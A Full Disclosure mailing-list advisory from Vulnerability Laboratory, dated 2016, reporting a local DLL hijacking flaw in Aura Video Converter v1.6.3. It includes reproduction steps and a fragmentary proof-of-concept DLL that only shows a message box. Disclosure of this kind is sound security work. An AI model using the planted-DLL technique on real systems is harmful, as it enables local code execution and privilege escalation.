[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Aura Video Converter v1.6.3 - DLL Hijacking Exploit
Aura Video Converter v1.6.3 - DLL Hijacking Exploit
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Product & Service Introduction:
Aura Video Converter is a gift from Aura4You. We make this video converter completely free for everyone.
You can download and use this free video converter for any purpose. It's a free video converter for everybody.
Aura Free Video Converter is one of the most renowned free video converters for converting video files between
various formats, with fast converting speed and excellent video quality.
(Copy of the Vendor Homepage: http://www.aura4you.com/ )
Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered a dll hijacking exploit in the Aura Video Converter v1.6.3 software.
Vulnerability Disclosure Timeline:
2016-10-04: Public Disclosure (Vulnerability Laboratory)
Product: Aura Video Converter - Software 1.6.3
Technical Details & Description:
A local dll injection vulnerability has been discovered in the official Aura Video Converter v1.6.3 software.
The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process
or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the
affected software to followup with manipulations.
[+] Aura Video Converter
Proof of Concept (PoC):
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library to nvcuvenc.dll
3. Copy nvcuvenc.dll to C:Program FilesAura4YouAura Video ConverterAuraVideoConv.exe
4. Launch AuraVideoConv.exe
5. Now the MessageBox executes!
-- PoC Exploit --
#define DllExport __declspec (dllexport)
BOOL WINAPI DllMain (
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
The security risk of the dynamic link library issue in the software is estimated as medium. (CVSS 4.3)
Credits & Authors:
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]
Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
VULNERABILITY LABORATORY - RESEARCH TEAM
Sent through the Full Disclosure mailing list
Web Archives & RSS: http://seclists.org/fulldisclosure/